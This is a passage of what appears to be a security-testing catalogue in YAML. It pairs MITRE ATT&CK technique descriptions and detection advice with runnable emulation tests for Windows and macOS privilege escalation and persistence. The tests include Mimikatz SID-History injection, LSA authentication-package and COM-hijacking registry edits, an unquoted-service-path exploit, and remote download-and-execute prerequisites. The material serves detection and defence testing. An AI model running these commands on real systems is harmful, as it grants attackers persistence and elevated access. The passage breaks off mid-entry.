marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023 type: attack-pattern created: '2020-02-18T18:34:49.414Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1134.005 url: https://attack.mitre.org/techniques/T1134/005 - url: https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx description: Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017. source_name: Microsoft SID - url: https://msdn.microsoft.com/library/ms679833.aspx description: Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017. source_name: Microsoft SID-History Attribute - url: https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems description: Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017. source_name: Microsoft Well Known SIDs Jun 2017 - url: https://technet.microsoft.com/library/ee617241.aspx description: Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017. source_name: Microsoft Get-ADUser - url: https://adsecurity.org/?p=1772 description: 'Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.' source_name: AdSecurity SID History Sept 2015 - url: https://msdn.microsoft.com/library/ms677982.aspx description: Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017. source_name: Microsoft DsAddSidHistory modified: '2022-04-25T14:00:00.188Z' name: 'Access Token Manipulation: SID-History Injection' description: |- Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Process: OS API Execution' - 'User Account: User Account Metadata' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1134.005 atomic_tests: - name: Injection SID-History with mimikatz auto_generated_guid: 6bef32e5-9456-4072-8f14-35566fb85401 description: 'Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller ' supported_platforms: - windows input_arguments: sid_to_inject: description: SID to inject into sidhistory type: string default: S-1-5-21-1004336348-1177238915-682003330-1134 sam_account_name: description: Target account to modify type: string default: "$env:username" mimikatz_path: description: Mimikatz windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: name: command_prompt elevation_required: true command: '#{mimikatz_path} "privilege::debug" "sid::patch" "sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}" "exit" ' cleanup_command: '#{mimikatz_path} "sid::clear /sam:#{sam_account_name}" "exit" ' T1548.004: technique: modified: '2022-11-08T14:00:00.188Z' name: Elevated Execution with Prompt description: "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling. x_mitre_platforms: - macOS x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Jimmy Astle, @AstleJimmy, Carbon Black - Erika Noerenberg, @gutterchurl, Carbon Black x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - User x_mitre_effective_permissions: - root type: attack-pattern id: attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0 created: '2020-01-30T14:40:20.187Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/004 external_id: T1548.004 - source_name: AppleDocs AuthorizationExecuteWithPrivileges description: Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019. url: https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg - source_name: Carbon Black Shlayer Feb 2019 description: Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019. url: https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html - source_name: Death by 1000 installers; it's all broken! description: Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019. url: https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8 - source_name: OSX Coldroot RAT description: Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019. url: https://objective-see.com/blog/blog_0x2A.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.002: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec created: '2020-01-24T14:54:42.757Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1547.002 url: https://attack.mitre.org/techniques/T1547/002 - source_name: Graeber 2014 url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html description: Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. - source_name: Microsoft Configure LSA url: https://technet.microsoft.com/en-us/library/dn408187.aspx description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. - source_name: MSDN Authentication Packages url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. x_mitre_deprecated: false revoked: false description: |- Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages) Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Authentication Package x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.002 atomic_tests: - name: Authentication Package auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9 description: | Establishes persistence using a custom authentication package for the Local Security Authority (LSA). After a reboot, Notepad.exe will be executed as child process of lsass.exe. Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/) supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f cleanup_command: | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f rm -force C:\windows\system32\package.dll name: powershell elevation_required: true T1546.015: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Event Triggered Execution: Component Object Model Hijacking' description: "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) \ References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Elastic x_mitre_deprecated: false x_mitre_detection: "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Module: Module Load' - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae created: '2020-03-16T14:12:47.923Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/015 external_id: T1546.015 - source_name: Elastic COM Hijacking description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.' url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com - source_name: GDATA COM Hijacking description: 'G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.' url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - source_name: Microsoft Component Object Model description: Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016. url: https://msdn.microsoft.com/library/ms694363.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.015 atomic_tests: - name: COM Hijacking - InprocServer32 auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b description: |- This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe. Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ supported_platforms: - windows input_arguments: clsid_threading: description: Threading Model type: string default: Apartment dllpath: description: Path to the DLL. type: string default: PathToAtomicsFolder\..\ExternalPayloads\AtomicTest.dll clsid: description: Class ID to hijack. type: string default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" clsid_description: description: Description for CLSID type: string default: MSAA AccPropServices dependency_executor_name: powershell dependencies: - description: DLL For testing prereq_command: if (Test-Path "#{dllpath}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}" executor: command: |- New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}' cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore name: powershell - name: Powershell Execute COM Object auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb description: |- Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ supported_platforms: - windows executor: command: | $o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) $item = $o.Item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) cleanup_command: 'Get-Process -Name "*calc" | Stop-Process ' name: powershell - name: COM Hijacking with RunDLL32 (Local Server Switch) auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0 description: "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. " supported_platforms: - windows input_arguments: clsid_threading: description: Threading Model type: string default: Both dll_path: description: Path to the DLL. type: string default: PathToAtomicsFolder\..\ExternalPayloads\T1546.015_calc.dll clsid: description: Class ID to hijack. type: string default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}" clsid_description: description: Description for CLSID type: string default: MSAA AccPropServices dependency_executor_name: powershell dependencies: - description: DLL For testing prereq_command: if (Test-Path "#{dll_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}" executor: command: |- New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}' cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore name: powershell - name: COM hijacking via TreatAs auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9 description: |- This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out. References: https://youtu.be/3gz1QmiMhss?t=1251 https://github.com/enigma0x3/windows-operating-system-archaeology supported_platforms: - windows executor: command: "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\" " cleanup_command: |- reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f name: powershell T1574.009: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Hijack Execution Flow: Path Interception by Unquoted Path' description: |- Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b created: '2020-03-13T13:51:58.519Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/009 external_id: T1574.009 - source_name: Windows Privilege Escalation Guide description: absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018. url: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ - source_name: Windows Unquoted Services description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018. url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/ - source_name: Help eliminate unquoted path description: Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012. url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464 - source_name: Microsoft CurrentControlSet Services description: Microsoft. (2017, April 20). HKLM\SYSTEM\CurrentControlSet\Services Registry Tree. Retrieved March 16, 2020. url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1574.009 atomic_tests: - name: Execution of program.exe as service with unquoted service path auto_generated_guid: 2770dea7-c50f-457b-84c4-c40a47460d9f description: | When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. In this case, if an executable program.exe in C:\ exists, C:\program.exe will be executed instead of test.exe in C:\Program Files\subfolder\test.exe. supported_platforms: - windows input_arguments: service_executable: description: Path of the executable used for the service and as the hijacked program.exe type: path default: PathToAtomicsFolder\T1574.009\bin\WindowsServiceExample.exe executor: command: | copy "#{service_executable}" "C:\Program Files\windows_service.exe" copy "#{service_executable}" "C:\program.exe" sc create "Example Service" binpath= "C:\Program Files\windows_service.exe" Displayname= "Example Service" start= auto sc start "Example Service" cleanup_command: | sc stop "Example Service" >nul 2>&1 sc delete "Example Service" >nul 2>&1 del "C:\Program Files\windows_service.exe" >nul 2>&1 del "C:\program.exe" >nul 2>&1 del "C:\Time.log" >nul 2>&1 name: command_prompt elevation_required: true T1037.005: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f created: '2020-01-15T18:00:33.603Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1037.005 url: https://attack.mitre.org/techniques/T1037/005 - source_name: Startup Items url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. - source_name: Methods of Mac Malware Persistence url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. x_mitre_deprecated: false revoked: false description: "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user." modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Initialization Scripts: Startup Items' x_mitre_detection: |- The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - Administrator x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.005 atomic_tests: - name: Add file to Local Library StartupItems auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198 description: | Modify or create an file in /Library/StartupItems [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware) supported_platforms: - macos executor: command: 'sudo touch /Library/StartupItems/EvilStartup.plist ' cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist ' name: sh elevation_required: true - name: Add launch script to launch daemon auto_generated_guid: fc369906-90c7-4a15-86fd-d37da624dde6 description: | Add launch script to /Library/StartupItems to launch agent 